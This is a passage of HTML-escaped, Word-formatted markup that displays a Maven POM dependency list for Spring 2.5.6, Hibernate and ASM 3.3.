&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.5.6&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-web&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.5.6&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- &lt;u&gt;Hibernate&lt;/u&gt; core --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-all&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.3&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.3&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; 